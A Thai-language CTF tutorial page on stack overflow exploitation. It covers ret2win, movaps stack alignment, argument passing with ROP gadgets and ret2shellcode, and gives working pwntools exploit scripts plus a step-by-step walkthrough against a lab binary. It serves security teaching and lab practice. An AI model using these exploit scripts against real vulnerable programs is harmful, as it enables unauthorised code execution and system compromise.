คลัง
pwn

Stack Overflow

Stack Overflow คือ buffer overflow บน stack ที่ควบคุม return address ได้แล้ว — ขั้นต่อไปคือ redirect execution ไปยังโค้ดที่ต้องการ บทนี้ลงลึก ret2win (กระโดดไปฟังก์ชันที่ให้ flag), การส่ง argument ด้วย ROP gadget, ปัญหา stack alignment (movaps), และ ret2shellcode พร้อมโค้ดและการ debug จริง (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#stack-overflow#pwn#ret2win#ret2shellcode#stack-alignment#movaps#ctf

1. จาก overflow สู่การควบคุม flow

เมื่อ buffer overflow ทับ return address บน stack ได้แล้ว (ดูหัวข้อ Buffer Overflow) ตอนฟังก์ชัน ret CPU จะ pop ค่าที่เราใส่เข้า RIP แล้วกระโดดไป — เราจึง redirect ไปที่ไหนก็ได้ในโปรแกรม คำถามคือ 'กระโดดไปไหน' ขึ้นกับว่าโจทย์มีอะไรให้ใช้: ฟังก์ชัน win สำเร็จรูป, libc, หรือ shellcode ที่เราวางเอง

2. ret2win — เทคนิคพื้นฐานสุด

โจทย์ CTF ระดับเริ่มต้นมักมีฟังก์ชัน 'win'/'flag'/'shell' ที่ปริ้น flag หรือเปิด shell แต่ ไม่ถูกเรียกในโปรแกรมปกติ — เราแค่ overwrite return address ให้ชี้ไปที่ address ของฟังก์ชันนั้น

ret2win พื้นฐาน (No PIE)Linux
from pwn import *

elf = context.binary = ELF('./vuln')
p = process('./vuln')

offset = 72
win = elf.symbols['win']             # address ของฟังก์ชัน win (No PIE = คงที่)
log.info(f"win @ {hex(win)}")

payload  = b'A' * offset
payload += p64(win)                  # overwrite return addr → win

p.sendline(payload)
p.interactive()
elf.symbols['win'] ดึง address อัตโนมัติ; No PIE → address คงที่ใช้ได้เลย; PIE → ต้อง leak base ก่อน (ดู PIE)

3. ปัญหา Stack Alignment (movaps)

ปัญหาที่เจอบ่อยมากบน x86-64: exploit ชี้ไป win ถูกแล้วแต่ crash ใน libc (เช่นใน do_system ที่ instruction movaps) สาเหตุคือ System V ABI ต้องการ stack alignment 16-byte ก่อนเรียกฟังก์ชัน libc — ถ้า RSP ไม่ลงท้าย 0x0 (ไม่ align) movaps จะ crash

แก้ด้วยการเติม ret gadgetLinux
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')

offset = 72
# หา ret gadget เปล่าๆ (1 ตัว) เพื่อ align stack
ret = ROP(elf).find_gadget(['ret'])[0]
win = elf.symbols['win']

payload  = b'A' * offset
payload += p64(ret)                  # ← เติม ret 1 ตัว เลื่อน RSP ให้ align 16
payload += p64(win)

p.sendline(payload)
p.interactive()
อาการ movaps crash: ลองเติม ret gadget 1 ตัวก่อน target — แก้ปัญหา alignment ได้เกือบทุกครั้ง
ถ้า exploit ทำงานบน gdb แต่ fail ตอนรันปกติ (หรือกลับกัน) มักเป็น environment/alignment — ตรวจ RSP ตอนเรียก ว่าลงท้าย 0x0 ไหม และลองเติม/ลด ret gadget

4. ส่ง argument ให้ฟังก์ชัน (x64)

บางทีต้องเรียกฟังก์ชันที่ต้องมี argument เช่น system("/bin/sh") หรือ win(0xdeadbeef) บน x86-64 argument ส่งผ่าน register (ไม่ใช่ stack) ตามลำดับ RDI, RSI, RDX, RCX, R8, R9 — ต้องใช้ ROP gadget จัด register ก่อนเรียก

ส่ง argument ด้วย pop gadgetLinux
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
rop = ROP(elf)

offset = 72
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]   # gadget ตั้ง RDI (arg1)
ret = rop.find_gadget(['ret'])[0]
win = elf.symbols['win']
arg = 0xdeadbeef

payload  = b'A' * offset
payload += p64(pop_rdi)              # pop rdi; ret
payload += p64(arg)                  # RDI = arg (arg1)
payload += p64(ret)                  # alignment
payload += p64(win)                  # call win(arg)

p.sendline(payload)
p.interactive()
ลำดับ x64 args: RDI RSI RDX RCX R8 R9; หา gadget: ROPgadget --binary ./vuln | grep 'pop rdi'

5. ret2shellcode (เมื่อ NX ปิด)

ถ้า NX ปิด (stack รันได้ — พบในโจทย์ง่าย/เก่า) เราวาง shellcode บน stack เองแล้วชี้ return address ไปที่มัน ต้องรู้ address ที่ shellcode อยู่ (ถ้าไม่มี ASLR ก็คงที่ หรือมี jmp rsp/leak)

ret2shellcode (No NX, No ASLR)Linux
from pwn import *
context.arch = 'amd64'
p = process('./vuln')

offset = 72
shellcode = asm(shellcraft.sh())     # /bin/sh shellcode
buf_addr = 0x7fffffffe000            # address ของ buffer (จาก gdb/leak)

# วาง shellcode ใน buffer แล้วชี้ return ไปที่ buffer
payload  = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr)             # return → shellcode บน stack

p.sendline(payload)
p.interactive()
ต้อง No NX (stack executable); buffer address หาจาก gdb หรือ leak; เทคนิคเก่า — สมัยใหม่ NX มักเปิด → ใช้ ROP/ret2libc แทน

6. เมื่อ ret2win ไม่พอ

สถานการณ์เทคนิคหัวข้อ
ไม่มีฟังก์ชัน win + NX เปิดret2libc (system/bin/sh)ret2libc
ต้องจัดหลาย register/syscallROP chainrop
มี canaryleak canary ก่อนformat-string
PIE เปิด (address สุ่ม)leak binary basepie
libc สุ่ม (ASLR)leak libc → คำนวณaslr
NX ปิดret2shellcode (section 5)nx

7. Quick Reference

  • คุม return address แล้ว → redirect execution
  • ret2win: payload = b'A'*offset + p64(elf.symbols['win'])
  • movaps crash → เติม ret gadget 1 ตัวก่อน target (align 16)
  • ส่ง arg (x64): pop rdi;ret gadget → RDI=arg → call
  • args order: RDI RSI RDX RCX R8 R9
  • No NX → ret2shellcode (asm(shellcraft.sh()) บน stack)
  • ไม่พอ → ret2libc/ROP; canary→leak; PIE→leak base

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติคุม return address ได้แล้ว (ทำหัวข้อ Buffer Overflow มาแล้ว) แต่ไม่รู้จะกระโดดไปไหน — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อหาว่าควรกระโดดไปที่ไหนและส่ง argument อย่างไร

  1. 1หาฟังก์ชัน win/flag/shell ก่อน: objdump -d ./vuln | grep -iE 'win|flag|shell|cat_flag'
  2. 2ถ้าเจอ ดึง address: ใน python3 elf = ELF('./vuln'); print(hex(elf.symbols['win']))
  3. 3ลองยิงตรงๆ: payload = b'A'*offset + p64(win) แล้วส่งดูว่าได้ shell ไหม
  4. 4ถ้า crash ใน libc (เช่นใน do_system) ให้สงสัย stack alignment (movaps) ก่อน
  5. 5หา ret gadget เปล่าๆ: ROPgadget --binary ./vuln | grep ': ret$'
  6. 6เติม ret gadget 1 ตัวก่อน target: payload = b'A'*offset + p64(ret) + p64(win)
  7. 7ถ้าฟังก์ชันต้องการ argument หา pop gadget: ROPgadget --binary ./vuln | grep 'pop rdi'
  8. 8จัด RDI ก่อนเรียก: p64(pop_rdi) + p64(arg) + p64(ret) + p64(win)
  9. 9ถ้าไม่มีฟังก์ชัน win เลย และ NX ปิด ลอง ret2shellcode (วาง shellcode บน stack)
  10. 10ถ้าไม่มี win และ NX เปิด ต้องไปทาง ret2libc/ROP แทน
จับมือทำ: จะกระโดดไปไหนหลังคุม RIP ได้
หาฟังก์ชัน win/flag ในโปรแกรม
objdump -d หรือ Ghidra ดูชื่อฟังก์ชันแปลกๆ
✅ เจอฟังก์ชัน win→ ret2win ตรงๆ
❌ ไม่มี win เลย→ เช็ค NX ว่าจะไปทางไหน
payload = A*offset + p64(win) แล้วยิงดู
✅ ได้ shell/flag เลย→ จบ! ยิง remote ได้เลย
❌ crash ใน libc (movaps)→ ปัญหา stack alignment
เติม ret gadget เปล่า 1 ตัวก่อน target
ROPgadget --binary ./vuln | grep ': ret$'
✅ ทำงานแล้ว→ ถ้า win ต้องการ argument ไปจัด register
❌ ยัง crash→ ตรวจ offset ใหม่ หรือ RSP ตอนเรียก
win ต้องการ argument ไหม
✅ ต้องการ (เช่น win(0xdeadbeef))→ ใช้ pop rdi;ret จัด RDI ก่อนเรียก
❌ ไม่ต้องการ→ จบแล้ว
ยืนยัน exploit local แล้วยิง remote
NX ปิดไหม (checksec)
❌ No NX→ ret2shellcode ได้เลย
✅ NX enabled→ ไม่มี shellcode ใช้ได้ ต้อง ROP/ret2libc
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หาฟังก์ชัน win/offsetobjdump, gdb-dogbolt.org
หา ret/pop gadgetROPgadget / ropperpip install ropperropshell.com
debug ทีละ instructiongdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
เขียน exploitpwntoolspip install pwntools-
สร้าง shellcode (ret2shellcode)pwntools shellcraft--
ตรวจ protection ซ้ำchecksec--
decompile ดูโครงสร้างradare2apt install radare2dogbolt.org, godbolt.org
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) nx — ถ้าอยากเข้าใจภาพรวมว่าทำไม shellcode ใช้ไม่ได้ (2) ret2libc — ถ้าไม่มี win และ NX เปิด ต้องเรียก system("/bin/sh") แทน (3) rop — ถ้าต้องจัดหลาย register/หลายขั้นตอน (4) pie — ถ้า address ของ win เปลี่ยนทุกครั้งที่รัน (5) buffer-overflow — ย้อนกลับไปเช็ค offset ถ้ายัง crash ผิดจุด

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้